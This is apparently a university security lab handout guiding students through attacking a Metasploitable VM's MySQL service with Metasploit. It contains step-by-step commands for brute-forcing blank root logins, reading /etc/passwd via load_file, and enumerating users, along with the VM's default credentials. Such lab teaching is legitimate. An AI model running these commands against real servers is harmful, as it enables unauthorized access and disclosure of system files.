## Project – MySQL Hacking with Metasploit

- This project is to understand how we can break into a target using tools such as Metasploit. Following the instructions, student will brute force logins, extract password hashes, and enumerate database users.
- *For answers, please use the accompanying word document.*

## Tutorials

- Nmap: *Nmap 6: Network Exploration and Security Auditing Cookbook* by Paulino Calderón Pale.
- Metasploit: https://www.metasploit.com/
- Armitage: https://www.offensive-security.com/metasploit-unleashed/armitage-setup/
- Metasploit for Beginners - Modules, Exploits, Payloads And Shells: https://www.youtube.com/watch?v=TieUDcbk-bg&ab_channel=LoiLiangYang

## Preps

- Start the **Kali (External)** and **Metasploitable** VMs.

## How to use Metasploit on Kali

- First, you need to start the databases service to store all the results. Type this command on Kali: **systemctl start postgresql**.
- Second, if you're running Metasploit for the first time, you need to create a database schema. Type this command: **msfdb init**.
- Next, you start the Metasploit by typing this command: **msfconsole**.

## Retrieving IP Addresses of VMs for Pentesting

Identify the IP addresses of the following VMs. You can obtain the IP addresses of each VM by manually running **ifconfig** on each VM.

a. Kali: ______________________
b. Metasplotable: ______________________

Before each exploit below, check whether you can ping the **Metasplotable**. When you cannot ping Metasplotable, login to the VM (id=**msfadmin**/pwd=**msfadmin**) and run this command: **sudo reboot.**

## Tasks

**References**:

- https://charlesreid1.com/wiki/Metasploitable/MySQL

- https://null-byte.wonderhowto.com/how-to/enumerate-mysql-databases-with-metasploit-0203485/

## Instructions

- Perform the three tasks below using the suggested steps.

### Task 1: Brute-forcing logins (10)

a. root@kali:~# msfconsole
b. msf > search mysql
c. msf > use **auxiliary/scanner/mysql/mysql_login**
*Alternatively, you can put the number on the left side. (e.g., use x)*
d. msf auxiliary(mysql_login) > show options
e. msf auxiliary(mysql_login) > setg RHOSTS [*IP address of the Metasplotable VM*]
f. msf auxiliary(mysql_login) > setg USERNAME root
g. msf auxiliary(mysql_login) > setg BLANK_PASSWORDS true
h. msf auxiliary(mysql_login) > exploit

- Take a screenshot of the outcome. Explain what you have done and accomplished.

### Task 2: Dumping /etc/passwd from MySQL (3)

a. msf > search mysql
b. msf auxiliary(mysql_sql) > use **auxiliary/admin/mysql/mysql_sql**
c. msf auxiliary(mysql_sql) > show options
d. msf auxiliary(mysql_sql) > set RHOSTS [*IP address of the Metasplotable VM*]
e. msf auxiliary(mysql_sql) > set USERNAME root
f. msf auxiliary(mysql_sql) > set BLANK_PASSWORDS true
g. msf auxiliary(mysql_sql) > set **SQL select load_file(\'/etc/passwd\')**
h. msf auxiliary(mysql_sql) > exploit

- Take a screenshot of the outcome. Explain what you have done and accomplished.
- To understand the structure of **/etc/passwd** file, go to: https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/

i. msf auxiliary(mysql_sql) > set sql show databases

- Take a screenshot of the outcome. Explain what you have done and accomplished.

### Task 3: Enumerating MySQL Users (2)

a. msf > search mysql
b. msf auxiliary(mysql_enum) > use **auxiliary/admin/mysql/mysql_enum**
c. msf auxiliary(mysql_enum) > show options

d. msf auxiliary(mysql_enum) > set RHOSTS [*IP address of the Metasplotable VM*]

e. msf auxiliary(mysql_enum) > set USERNAME root

f. msf auxiliary(mysql_enum) > set BLANK_PASSWORDS true

g. msf auxiliary(mysql_enum) > exploit

- Take a screenshot of the outcome. Explain what you have done and accomplished.

h. msf auxiliary(mysql_enum) > exit